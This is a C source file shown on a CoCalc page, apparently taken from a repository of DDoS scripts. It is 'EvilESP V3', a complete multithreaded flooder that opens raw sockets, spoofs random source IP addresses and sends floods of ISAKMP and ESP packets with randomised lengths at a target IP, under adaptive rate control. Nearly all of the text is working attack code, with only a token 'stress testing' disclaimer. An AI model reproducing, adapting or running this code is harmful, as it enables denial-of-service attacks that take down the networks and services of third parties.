Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/EvilESPV3.c
4607 views
1
#include <pthread.h>
2
#include <unistd.h>
3
#include <stdio.h>
4
#include <stdlib.h>
5
#include <string.h>
6
#include <sys/socket.h>
7
#include <netinet/ip.h>
8
#include <netinet/udp.h>
9
10
#define MAX_PACKET_SIZE 4096
11
#define PHI 0x9e3779b9
12
13
static unsigned long int Q[4096], c = 362436;
14
static unsigned int floodport;
15
volatile int limiter;
16
volatile unsigned int pps;
17
volatile unsigned int sleeptime = 100;
18
char pass[1500];
19
int ii;
20
21
void init_rand(unsigned long int x)
22
{
23
int i;
24
Q[0] = x;
25
Q[1] = x + PHI;
26
Q[2] = x + PHI + PHI;
27
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
28
}
29
unsigned long int rand_cmwc(void)
30
{
31
unsigned long long int t, a = 18782LL;
32
static unsigned long int i = 4095;
33
unsigned long int x, r = 0xfffffffe;
34
i = (i + 1) & 4095;
35
t = a * Q[i] + c;
36
c = (t >> 32);
37
x = t + c;
38
if (x < c) {
39
x++;
40
c++;
41
}
42
return (Q[i] = r - x);
43
}
44
unsigned short csum (unsigned short *buf, int count)
45
{
46
register unsigned long sum = 0;
47
while( count > 1 ) { sum += *buf++; count -= 2; }
48
if(count > 0) { sum += *(unsigned char *)buf; }
49
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
50
return (unsigned short)(~sum);
51
}
52
53
void setup_ip_header(struct iphdr *iph)
54
{
55
iph->ihl = 5;
56
iph->version = 4;
57
iph->tos = 0;
58
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
59
iph->id = rand();
60
iph->frag_off = 0;
61
iph->ttl = MAXTTL;
62
iph->protocol = IPPROTO_UDP;
63
iph->check = 0;
64
iph->saddr = inet_addr("192.168.3.100");
65
}
66
67
void setup_udp_header(struct udphdr *udph)
68
{
69
udph->source = htons(500);
70
udph->dest = htons(500);
71
udph->check = 0;
72
73
udph->len=htons(sizeof(struct udphdr) + 25);
74
}
75
76
void *flood(void *par1)
77
{
78
char *td = (char *)par1;
79
char datagram[MAX_PACKET_SIZE];
80
struct iphdr *iph = (struct iphdr *)datagram;
81
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
82
83
struct sockaddr_in sin;
84
sin.sin_family = AF_INET;
85
sin.sin_port = htons(17015);
86
sin.sin_addr.s_addr = inet_addr(td);
87
88
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
89
if(s < 0){
90
fprintf(stderr, "Could not open raw socket.\n");
91
exit(-1);
92
}
93
memset(datagram, 0, MAX_PACKET_SIZE);
94
setup_ip_header(iph);
95
96
//porco
97
98
99
100
iph->daddr = sin.sin_addr.s_addr;
101
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
102
103
int tmp = 1;
104
const int *val = &tmp;
105
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
106
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
107
exit(-1);
108
}
109
110
init_rand(time(NULL));
111
register unsigned int i;
112
i = 0;
113
while(1){
114
115
for(ii = 0; ii < 1500; ii++) {
116
pass[ii] = rand() % (1500 + 1 - 0) + 0;
117
}
118
pass[ii] = '\0';
119
void *data = (void *)udph + sizeof(struct udphdr);
120
memset(data, 0xFF, 4);
121
strcpy(data+4, pass);
122
setup_udp_header(udph);
123
124
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
125
iph->tot_len = rand() % (1500 + 1 - 0) + 0;
126
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
127
//iph->ttl = rand() % (255 + 1 - 0) + 0;
128
129
//ISAKMP Packet
130
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
131
udph->source = htons(rand_cmwc() & 0xFFFF);
132
iph->protocol = 17;
133
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
134
135
//ESP Packet
136
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
137
iph->protocol = 50;
138
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139
140
pps++;
141
if(i >= limiter)
142
{
143
i = 0;
144
usleep(sleeptime);
145
}
146
i++;
147
}
148
}
149
int main(int argc, char *argv[ ])
150
{
151
if(argc < 5){
152
fprintf(stderr, "EvilESP - ESP/IPSEC Protocol Flooder V.3\n");
153
fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.net\n\n");
154
fprintf(stderr, " ============================================================================\n");
155
fprintf(stderr, " >> For network stress testing only! <<\n");
156
fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
157
fprintf(stderr, " ============================================================================\n");
158
fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
159
exit(-1);
160
}
161
162
fprintf(stdout, "Setting up Sockets...\n");
163
164
int num_threads = atoi(argv[2]);
165
int maxpps = atoi(argv[3]);
166
167
limiter = 0;
168
pps = 0;
169
pthread_t thread[num_threads];
170
171
int multiplier = 20;
172
173
int i;
174
for(i = 0;i<num_threads;i++){
175
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
176
}
177
fprintf(stdout, "Sending packets...\n");
178
fprintf(stdout, "EvilESP 3 started!\n");
179
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
180
{
181
usleep((1000/multiplier)*1000);
182
if((pps*multiplier) > maxpps)
183
{
184
if(1 > limiter)
185
{
186
sleeptime+=100;
187
} else {
188
limiter--;
189
}
190
} else {
191
limiter++;
192
if(sleeptime > 25)
193
{
194
sleeptime-=25;
195
} else {
196
sleeptime = 0;
197
}
198
}
199
pps = 0;
200
}
201
202
return 0;
203
}
204
205